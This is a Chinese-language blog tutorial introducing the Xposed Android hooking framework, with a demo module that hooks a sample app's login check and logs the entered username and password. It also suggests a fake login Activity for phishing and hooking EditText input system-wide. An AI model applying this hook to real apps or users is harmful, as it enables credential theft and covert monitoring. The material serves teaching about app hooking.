Android Hook神器——XPosed入门(登陆劫持演示)
前段時間寫了一篇有關于CydiaSubstrate的廣告注入的文章(地址:http://blog.csdn.net/yzzst/article/details/47318751),大家都直呼過癮。但是,真正了解這一方面的同學應該這道,其實還有一個比CydiaSubstrate更出名的工具:XPosed。
不是因為Xposed比CydiaSubstrate做的多好,而是Xposed是徹底開源的。今天,我們就向大家簡單的介紹一下Xposed,并書寫一個簡單的登陸劫持demo,讓大家快速的入門學習Xposed。
Xposed
Xposed框架是一款可以在不修改APK的情況下影響程序運行(修改系統)的框架服務,通過替換/system/bin/app_process程序控制zygote進程,使得app_process在啟動過程中會加載XposedBridge.jar這個jar包,從而完成對Zygote進程及其創建的Dalvik虛擬機的劫持。
基于Xposed框架可以制作出許多功能強大的模塊,且在功能不沖突的情況下同時運作。
此外,Xposed框架中的每一個庫還可以單獨下載使用,如Per APP Setting(為每個應用設置單獨的dpi或修改權限)、Cydia、XPrivacy(防止隱私泄露)、BootManager(開啟自啟動程序管理應用)對原生Launcher替換圖標等應用或功能均基于此框架。
官網地址:http://repo.xposed.info/。?
源碼地址:https://github.com/rovo89。
Xposed框架是基于一個Android的本地服務應用XposedInstaller與一個提供API 的jar文件來完成的。
所以,安裝使用Xposed框架我們需要完成以下幾個步驟:
安裝本地服務XposedInstaller?
需要安裝XposedInstall.apk本地服務應用,我們能夠在其官網的framework欄目中找到,下載并安裝。地址為:
http://repo.xposed.info/module/de.robv.android.xposed.installer
安裝好后進入XposedInstaller應用程序,會出現需要激活框架的界面,如圖8-5所示。這里我們點擊“安裝/更新”就能完成框架的激活了。部分設備如果不支持直接寫入的話,可以選擇“安裝方式”,修改為在Recovery模式下自動安裝即可。
因為安裝時會存在需要Root權限,安裝后會啟動Xposed的app_process,所以安裝過程中會存在設備多次重新啟動。
TIPS:由于國內的部分ROM對Xposed不兼容,如果安裝Xposed不成功的話,強制使用Recovery寫入可能會造成設備反復重啟而無法正常啟動。
下載使用API庫
其API庫XposedBridgeApi-.jar(version是XposedAPI的版本號,如我們這里是XposedBridgeApi-54.jar)文件,我們能夠在Xposed的官方支持xda論壇找到,其地址為:
http://forum.xda-developers.com/xposed/xposed-api-changelog-developer-news-t2714067
下載完畢后我們需要將 Xposed Library 復制到 lib目錄(注意是 lib 目錄不是Android提供的 libs 目錄),然后將這個 jar 包添加到 Build PATH 中
如果直接將jar包放置到了libs目錄下,很可能會產生錯 誤“IllegalAccessError: Class ref in?
pre-verified class resolved to unexpected?
implementation”。?
估計Xposed作者在其框架內部也引用了BridgeApi,這樣操作避免重復引用。
實戰,登陸劫持(原理)
之前跟大家也說過使用CydiaSubstrate進行廣告注入(地址:http://blog.csdn.net/yzzst/article/details/47318751),很多網友問我,就只能簡單的注入一個廣告,還能做什么嗎?
登陸劫持!!!,你沒聽錯,今天我們這里就簡單的演示一下,如何對一個應用程序的登陸功能進行劫持,并把賬號密碼打印出來。
如我們常見的登陸劫持,就是使用到了Hook技術來完成的。那么這個登陸劫持是如何完成的呢?下面我們就具體來看看,一個我們在開發中常見到的登陸例子。首先我們看看一個常見的登陸界面是什么樣子的。
其對應的登陸流程代碼如下所示:
<code class="hljs java has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-comment" style="color:#8800;box-sizing: border-box;">// 登陸按鈕的onClick事件</span> mLoginButton.setOnClickListener(<span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">new</span> OnClickListener() {<span class="hljs-annotation" style="color:#9b859d;box-sizing: border-box;">@Override</span> <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">public</span> <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">void</span> <span class="hljs-title" style="box-sizing: border-box;">onClick</span>(View v) {<span class="hljs-comment" style="color:#8800;box-sizing: border-box;">// 獲取用戶名</span>String username = mUserEditText.getText() + <span class="hljs-string" style="color:#0880;box-sizing: border-box;">""</span>;<span class="hljs-comment" style="color:#8800;box-sizing: border-box;">// 獲取密碼</span>String password = mPasswordEditText.getText() + <span class="hljs-string" style="color:#0880;box-sizing: border-box;">""</span>;<span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">if</span> (isCorrectInfo(username, password)) {Toast.makeText(MainActivity.<span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">this</span>, <span class="hljs-string" style="color:#0880;box-sizing: border-box;">"登陸成功!"</span>, Toast.LENGTH_LONG).show();} <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">else</span> {Toast.makeText(MainActivity.<span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">this</span>, <span class="hljs-string" style="color:#0880;box-sizing: border-box;">"登陸失敗!"</span>, Toast.LENGTH_LONG).show();}} });</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li><li style="box-sizing: border-box; padding: 0px 5px;">13</li><li style="box-sizing: border-box; padding: 0px 5px;">14</li><li style="box-sizing: border-box; padding: 0px 5px;">15</li><li style="box-sizing: border-box; padding: 0px 5px;">16</li><li style="box-sizing: border-box; padding: 0px 5px;">17</li></ul>我們會發現,登陸界面上面的用戶信息都是存儲在EditText控件上,然后通過用戶手動點擊“登陸”按鈕才會將上面的信息發送至服務器端去驗證賬號與密碼是否正確。這樣就很簡單了,黑客們只需要找到開發者在使用EditText控件的getText方法后進行網絡驗證的方法,Hook該方法,就能劫持到用戶的賬戶與密碼劫了。
TIPS:當然,我們也可以仿照上之前CydiaSubstrate的廣告注入例子(地址:http://blog.csdn.net/yzzst/article/details/47318751),做一個一模一樣的Activity,在劫持原Activity優先彈出來,達到欺騙用戶獲取密碼的目的。
具體流程如下:
實戰,登陸劫持(編碼)
明白了原理下面我們就實際的操作一次,這里我們選擇使用Xposed框架來操作。使用Xposed進行Hook操作主要就是使用到了Xposed中的兩個比較重要的方法,handleLoadPackage獲取包加載時候的回調并拿到其對應的classLoader;findAndHookMethod對指定類的方法進行Hook。它們的詳細定義如下所示:
<code class="hljs scala has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"> <span class="hljs-javadoc" style="color:#8800;box-sizing: border-box;">/*** 包加載時候的回調*/</span> public void handleLoadPackage(<span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">final</span> LoadPackageParam lpparam)<span class="hljs-javadoc" style="color:#8800;box-sizing: border-box;">/*** Xposed提供的Hook方法* * <span class="hljs-javadoctag" style="color:#66066;box-sizing: border-box;">@param</span> className 待Hook的Class* <span class="hljs-javadoctag" style="color:#66066;box-sizing: border-box;">@param</span> classLoader classLoader* <span class="hljs-javadoctag" style="color:#66066;box-sizing: border-box;">@param</span> methodName 待Hook的Method* <span class="hljs-javadoctag" style="color:#66066;box-sizing: border-box;">@param</span> parameterTypesAndCallback hook回調* <span class="hljs-javadoctag" style="color:#66066;box-sizing: border-box;">@return</span> */</span> Unhook findAndHookMethod(String className, ClassLoader classLoader, String methodName, Object... parameterTypesAndCallback) </code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li><li style="box-sizing: border-box; padding: 0px 5px;">13</li><li style="box-sizing: border-box; padding: 0px 5px;">14</li><li style="box-sizing: border-box; padding: 0px 5px;">15</li><li style="box-sizing: border-box; padding: 0px 5px;">16</li></ul>當然,我們使用Xposed進行Hook也分為如下幾個步驟:
1. 在AndroidManifest.xml文件中配置插件名稱與Api版本號
<code class="hljs xml has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-tag" style="color:#06666;box-sizing: border-box;"><<span class="hljs-title" style="color:#0088;box-sizing: border-box;">application </span> <span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:allowBackup</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"true"</span><span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:icon</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"@drawable/ic_launcher"</span><span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:label</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"@string/app_name"</span><span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:theme</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"@style/AppTheme"</span> ></span><span class="hljs-tag" style="color:#06666;box-sizing: border-box;"><<span class="hljs-title" style="color:#0088;box-sizing: border-box;">meta-data </span> <span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:name</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"xposedmodule"</span><span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:value</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"true"</span> /></span><span class="hljs-comment" style="color:#8800;box-sizing: border-box;"><!-- 模塊描述 --></span><span class="hljs-tag" style="color:#06666;box-sizing: border-box;"><<span class="hljs-title" style="color:#0088;box-sizing: border-box;">meta-data </span> <span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:name</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"xposeddescription"</span><span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:value</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"一個登陸劫持的樣例"</span> /></span><span class="hljs-comment" style="color:#8800;box-sizing: border-box;"><!-- 最低版本號 --></span><span class="hljs-tag" style="color:#06666;box-sizing: border-box;"><<span class="hljs-title" style="color:#0088;box-sizing: border-box;">meta-data </span> <span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:name</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"xposedminversion"</span><span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:value</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"30"</span> /></span> <span class="hljs-tag" style="color:#06666;box-sizing: border-box;"></<span class="hljs-title" style="color:#0088;box-sizing: border-box;">application</span>></span></code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li><li style="box-sizing: border-box; padding: 0px 5px;">13</li><li style="box-sizing: border-box; padding: 0px 5px;">14</li><li style="box-sizing: border-box; padding: 0px 5px;">15</li><li style="box-sizing: border-box; padding: 0px 5px;">16</li><li style="box-sizing: border-box; padding: 0px 5px;">17</li><li style="box-sizing: border-box; padding: 0px 5px;">18</li></ul>2. 新建一個入口類并繼承并實現IXposedHookLoadPackage接口
如下操作,我們新建了一個com.example.loginhook.Main的類,并實現IXposedHookLoadPackage接口中的handleLoadPackage方法,將非com.example.login包名的應用過濾掉,即我們只操作包名為com.example.login的應用。如下所示:
<code class="hljs java has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">public</span> <span class="hljs-class" style="box-sizing: border-box;"><span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">class</span> <span class="hljs-title" style="color:#66066;box-sizing: border-box;">Main</span> <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">implements</span> <span class="hljs-title" style="color:#66066;box-sizing: border-box;">IXposedHookLoadPackage</span> {</span><span class="hljs-javadoc" style="color:#8800;box-sizing: border-box;">/*** 包加載時候的回調*/</span><span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">public</span> <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">void</span> <span class="hljs-title" style="box-sizing: border-box;">handleLoadPackage</span>(<span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">final</span> LoadPackageParam lpparam) <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">throws</span> Throwable {<span class="hljs-comment" style="color:#8800;box-sizing: border-box;">// 將包名不是 com.example.login 的應用剔除掉</span><span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">if</span> (!lpparam.packageName.equals(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"com.example.login"</span>))<span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">return</span>;XposedBridge.log(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"Loaded app: "</span> + lpparam.packageName);} }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li></ul>3. 聲明主入口路徑
需要在assets文件夾中新建一個xposed_init的文件,并在其中聲明主入口類。如這里我們的主入口類為com.example.loginhook.Main
4. 使用findAndHookMethod方法Hook劫持登陸信息
這是最重要的一步,我們之前所分析的都需要到這一步進行操作。如我們之前所分析的登陸程序,我們需要劫持就是需要Hook其com.example.login.MainActivity中的isCorrectInfo方法。我們使用Xposed提供的findAndHookMethod直接進行MethodHook操作(與Cydia很類似)。在其Hook回調中使用XposedBridge.log方法,將登陸的賬號密碼信息打印至Xposed的日志中。具體操作如下所示:
<code class="hljs java has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">import</span> <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">static</span> de.robv.android.xposed.XposedHelpers.findAndHookMethod; <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">public</span> <span class="hljs-class" style="box-sizing: border-box;"><span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">class</span> <span class="hljs-title" style="color:#66066;box-sizing: border-box;">Main</span> <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">implements</span> <span class="hljs-title" style="color:#66066;box-sizing: border-box;">IXposedHookLoadPackage</span> {</span><span class="hljs-javadoc" style="color:#8800;box-sizing: border-box;">/*** 包加載時候的回調*/</span><span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">public</span> <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">void</span> <span class="hljs-title" style="box-sizing: border-box;">handleLoadPackage</span>(<span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">final</span> LoadPackageParam lpparam) <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">throws</span> Throwable {<span class="hljs-comment" style="color:#8800;box-sizing: border-box;">// 將包名不是 com.example.login 的應用剔除掉</span><span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">if</span> (!lpparam.packageName.equals(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"com.example.login"</span>))<span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">return</span>;XposedBridge.log(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"Loaded app: "</span> + lpparam.packageName);<span class="hljs-comment" style="color:#8800;box-sizing: border-box;">// Hook MainActivity中的isCorrectInfo(String,String)方法</span>findAndHookMethod(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"com.example.login.MainActivity"</span>, lpparam.classLoader, <span class="hljs-string" style="color:#0880;box-sizing: border-box;">"isCorrectInfo"</span>, String.class,String.class, <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">new</span> XC_MethodHook() {<span class="hljs-annotation" style="color:#9b859d;box-sizing: border-box;">@Override</span><span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">protected</span> <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">void</span> <span class="hljs-title" style="box-sizing: border-box;">beforeHookedMethod</span>(MethodHookParam param) <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">throws</span> Throwable {XposedBridge.log(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"開始劫持了~"</span>);XposedBridge.log(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"參數1 = "</span> + param.args[<span class="hljs-number" style="color:#06666;box-sizing: border-box;">0</span>]);XposedBridge.log(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"參數2 = "</span> + param.args[<span class="hljs-number" style="color:#06666;box-sizing: border-box;">1</span>]);}<span class="hljs-annotation" style="color:#9b859d;box-sizing: border-box;">@Override</span><span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">protected</span> <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">void</span> <span class="hljs-title" style="box-sizing: border-box;">afterHookedMethod</span>(MethodHookParam param) <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">throws</span> Throwable {XposedBridge.log(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"劫持結束了~"</span>);XposedBridge.log(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"參數1 = "</span> + param.args[<span class="hljs-number" style="color:#06666;box-sizing: border-box;">0</span>]);XposedBridge.log(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"參數2 = "</span> + param.args[<span class="hljs-number" style="color:#06666;box-sizing: border-box;">1</span>]);}});}}</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li><li style="box-sizing: border-box; padding: 0px 5px;">13</li><li style="box-sizing: border-box; padding: 0px 5px;">14</li><li style="box-sizing: border-box; padding: 0px 5px;">15</li><li style="box-sizing: border-box; padding: 0px 5px;">16</li><li style="box-sizing: border-box; padding: 0px 5px;">17</li><li style="box-sizing: border-box; padding: 0px 5px;">18</li><li style="box-sizing: border-box; padding: 0px 5px;">19</li><li style="box-sizing: border-box; padding: 0px 5px;">20</li><li style="box-sizing: border-box; padding: 0px 5px;">21</li><li style="box-sizing: border-box; padding: 0px 5px;">22</li><li style="box-sizing: border-box; padding: 0px 5px;">23</li><li style="box-sizing: border-box; padding: 0px 5px;">24</li><li style="box-sizing: border-box; padding: 0px 5px;">25</li><li style="box-sizing: border-box; padding: 0px 5px;">26</li><li style="box-sizing: border-box; padding: 0px 5px;">27</li><li style="box-sizing: border-box; padding: 0px 5px;">28</li><li style="box-sizing: border-box; padding: 0px 5px;">29</li><li style="box-sizing: border-box; padding: 0px 5px;">30</li><li style="box-sizing: border-box; padding: 0px 5px;">31</li><li style="box-sizing: border-box; padding: 0px 5px;">32</li><li style="box-sizing: border-box; padding: 0px 5px;">33</li><li style="box-sizing: border-box; padding: 0px 5px;">34</li><li style="box-sizing: border-box; padding: 0px 5px;">35</li></ul>5. 在XposedInstaller中啟動我們自定義的模塊?
編譯后安裝在Android設備上的模塊應用程序不會立即的生效,我們需要在XpasedInstaller模塊選項中勾選待啟用的模塊才能讓其正常的生效。如?
6. 重啟驗證?
重啟Android設備,進入XposedInstaller查看日志模塊,因為我們之前使用的是XposedBridge.log方法打印log,所以log都會顯示在此處。我們發現我們需要劫持的賬號密碼都顯示再來此處。
TIPS:這里我們是通過逆向分析該登陸頁面的登錄判斷調用函數來完成Hook與劫持工作的。有些讀者應該想出來了,我們能不能直接Hook系統中提供給我們的控件EditText(輸入框控件)中的getText()方法進行Hook呢?這樣我們就能夠對系統中所有的輸入進行監控劫持了。這里留給大家一個思考,感興趣的讀者可以嘗試一下。
原文地址: http://blog.csdn.net/yzzst/article/details/47659479
總結
以上是生活随笔為你收集整理的Android Hook神器——XPosed入门(登陆劫持演示)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Android上玩玩Hook?
- 下一篇: Xposed源码剖析——概述